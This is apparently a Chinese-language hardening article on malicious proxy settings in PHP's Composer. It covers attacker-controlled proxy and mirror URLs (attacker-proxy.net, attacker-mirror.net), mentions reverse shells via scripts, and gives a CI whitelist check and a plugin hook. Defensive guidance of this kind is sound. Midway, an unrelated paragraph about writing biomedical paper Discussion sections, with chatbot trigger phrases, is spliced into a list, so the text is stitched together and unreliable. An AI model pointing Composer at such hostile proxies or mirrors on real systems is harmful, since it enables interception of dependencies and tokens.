composer 不校验代理安全性，恶意 proxy 配置会导致依赖下载、token、autoload 等全被劫持；需禁用项目级配置、全局白名单校验、插件拦截 --no-plugins、强制 http:// 协议格式，并正确配置 cafile 与 secure-http。
Composer 本身不拦截恶意代理请求，也不校验代理地址安全性——它把 http-proxy 和 https-proxy 当作纯配置项原样使用，哪怕你填的是 http://attacker-proxy.net:8080，只要能连上，所有流量（含包元数据、ZIP 下载、甚至私有 token）都会被转发过去。
为什么 proxy 配置会被当成攻击入口
Composer 对代理字段不做任何合法性检查：不验证域名是否在白名单、不拒绝内网地址（如 http://192.168.1.100:8080）、不校验协议是否匹配（https-proxy 填成 https:// 开头会静默失效，但不会报错）。一旦项目被注入恶意 composer.json 或 CI 脚本中硬编码了不可信代理，整个构建链路的依赖下载、包解压、autoload 注入都可能被中间人劫持。
- 常见错误现象：
composer install -vvv日志里出现Downloading https://packagist.org/packages.json via http://evil-proxy.local，但没人检查该地址来源 - 攻击面不止是包内容：dist ZIP 中可嵌入
autoload.files指向远程 PHP 文件，或通过scripts触发反向 shell - CI 环境风险更高：共享构建机 + 共用出口 IP，一个恶意代理配置会导致整条流水线流量被镜像站拉黑
如何阻止恶意 proxy 配置生效
必须从配置源头强制拦截，不能依赖 Composer 默认行为。关键不是“怎么配代理”，而是“谁允许配、在哪配、配了谁来审”。
围绕关键发现、作用机制、临床相关性及研究局限性展开讨论。适用于撰写或优化任何生物医学论文的“讨论（Discussion）”部分——包括结果解读、与既往文献关联、阐释意外发现、界定研究局限性，以及撰写结论。当用户输入以下任一指令时也会自动触发该功能： - “write my discussion” - “help me discuss my findings” - “how do I compare to prior studies” - “write the limitations par
- 禁用项目级 proxy 配置：删除
composer.json中的config.http-proxy和config.https-proxy字段，改用全局统一管控 - 全局配置加白名单校验：在 CI 脚本中加入检查，例如
composer config -g --list | grep -E "http-proxy|https-proxy" | grep -v "127\.0\.0\.1\|proxy\.company\.com"，不匹配则exit 1 - 禁止
--no-plugins绕过防护：自定义插件监听CommandEvent::PRE_COMMAND_RUN，若检测到该参数且当前命令含install/update，立即抛出RuntimeException - 代理值必须是
http://协议开头：即使你用的是 HTTPS 代理服务，Composer 要求https-proxy的值仍是http://host:port；填错格式（如漏协议、写成https://）会导致请求直连，反而暴露真实出口 IP
HTTPS 代理与证书校验的冲突点
当公司启用 TLS 中间人代理（如 Zscaler、Netskope），Composer 的 cafile 配置和 secure-http 行为会相互干扰——设了 cafile 但没关 secure-http，可能因证书链不完整被拒绝；关了 secure-http 又会让恶意代理的 HTTP 回退生效。
- 正确顺序：先导出企业根证书为 PEM，再执行
composer config -g cafile /path/to/company-ca.crt，最后保持secure-http true（默认值） - 绝不要设
secure-http false：这会让 Composer 接受http://镜像源，而攻击者只需在repositories中插入"url": "http://attacker-mirror.net/"就能绕过所有 HTTPS 校验 - NTLM 代理必须走中转：Composer 原生不支持 NTLM，直接填
http://domain\user:pass@proxy会失败；必须用cntlm或px监听本地端口，再让 Composer 连http://127.0.0.1:3128
真正危险的从来不是“代理连不上”，而是“代理连上了却没人知道它连去了哪”。所有 proxy 配置必须可审计、可追溯、不可动态覆盖——否则你加固的镜像源、CA 证书、插件拦截，全会在一条 composer config -g https-proxy http://xxx 命令下失效。
